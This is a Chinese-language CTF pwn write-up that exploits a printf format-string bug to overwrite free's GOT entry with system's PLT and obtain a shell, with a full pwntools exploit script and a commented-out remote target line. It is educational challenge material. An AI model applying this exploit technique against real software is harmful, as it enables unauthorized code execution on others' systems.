Format.INI

zhangqr 2023-08-31 15:24:25 1298 0


1.用file查看文件类型: 64位ELF no stripped

2.checksec查看文件开启保护: GOT可劫持 非PIE


3.IDA 分析文件: prinf 格式化漏洞


4.分析代码,程序调用了system, printf之后调用了free。查看free got表的内容为0x401036 与 system plt的地址0x401060 就差最后一个字节。那么想法修改free got的内容为system的plt。而free的参数buf 正好可以作为system的参数。那么就直接构造类似'/bin/sh #' 获取shell


5.确定修改printf参数的地址: 先随机输入12345678 确定参数的栈上地址为 %10。

然后由于payload 要输入 '/bin/sh #' 且需要修改字符字节数为0x60。 使用printf的$hhn修改单个字节

那么构造payload如下

```shell

payload=b'/bin/sh #'+b'%87c%13$hhn'+b'A'*4+p64(bin.got['free'])


```

其中`b'/bin/sh #'+b'%87c%13$hhn'+b'A'*4`占了24字节,所有bin.got['free']的地址从

为第13个。




6.最后的exp如下:


```python

frompwnimport*


bin= ELF('./formatini')

context.log_level ='debug'

context.terminal = ['tmux','splitw','-h']

p = process('./formatini')

#gdb.attach(p)

#p = remote('82.157.146.43', 17626)

p.recvuntil('name? ')

payload =b'/bin/sh #'+b'%87c%13$hhn'+b'A'*4+p64(bin.got['free'])

p.send(payload)

p.interactive()

```

分类:PWN
image
作者:zhangqr

1

提交

0

收入

相关WriteUP

  • 勇闯迷宫-过三关 (陕西省大学生)

    这题如题面所说分为三个部分,难度不高,第一部分考栈溢出,第二部分有点简单的逆向,第三部分考了一点fastbinattack,作为复习基础知识刚刚好拿到程序,首先做些基本检查:PartialRELRO,有Canary和NX,没有PIE。提供了libc(2.23)。got表里函数挺多,特别是看到了malloc和free,可能要用到堆。全局变量和main基本都保留了符号表,其他函数大多没有。第一部分直接...

    • PWN
    • 1年前
  • [NUAACTF-2017]hello_pwn

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 11月前
  • No Way Out的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 11月前
  • Message Board的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 10月前
  • special_ROP的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 10月前
问题反馈